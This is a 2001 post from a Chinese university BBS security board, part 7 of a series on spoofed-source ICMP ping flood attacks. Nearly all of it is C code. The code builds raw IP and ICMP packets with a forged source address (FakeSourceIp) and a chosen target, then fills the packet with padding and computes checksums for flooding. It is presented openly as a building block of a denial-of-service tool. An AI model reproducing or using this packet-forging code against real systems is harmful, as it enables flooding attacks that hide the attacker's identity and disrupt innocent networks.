荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: aaabbb (好好学习), 信区: Security
标  题: Ping攻防-伪装IP地址的洪水Ping攻击(7)
发信站: 荔园晨风BBS站 (Sat May 26 23:11:11 2001), 转信

//3位标志位
  ip_header.ttl=128;

//8位生存时间 TTL
  ip_header.proto=IPPROTO_ICMP;

//8位协议 (TCP, UDP 或其他)
  ip_header.checksum=0;

//16位IP首部校验和
  ip_header.sourceIP=inet_addr(FakeSourceIp); //32

位源IP地址
  ip_header.destIP=inet_addr(DestIp);

//32位目的IP地址
//填充ICMP首部
  icmp_header.i_type = 8;
  icmp_header.i_code = 0;
  icmp_header.i_cksum = 0;
  icmp_header.i_id = 2;
  icmp_header.timestamp = 999;
  icmp_header.i_seq=999;
  memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
  memset(SendBuf+sizeof(icmp_header), 'E', PacketSize);
  icmp_header.i_cksum = checksum((USHORT *)SendBuf,
sizeof(icmp_header)+PacketSize);
  memcpy(SendBuf,&ip_header,sizeof(ip_header));
  memcpy(SendBuf+sizeof(ip_header), &icmp_header,
sizeof(icmp_header));
  memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), 'E',
PacketSize);
  memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0,
 1);
//计算发送缓冲区的大小
  datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize;
  ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

--
 记忆 绝不是铅笔写就的往事 用皮擦抹去 就可以重新开始

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.32.1]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店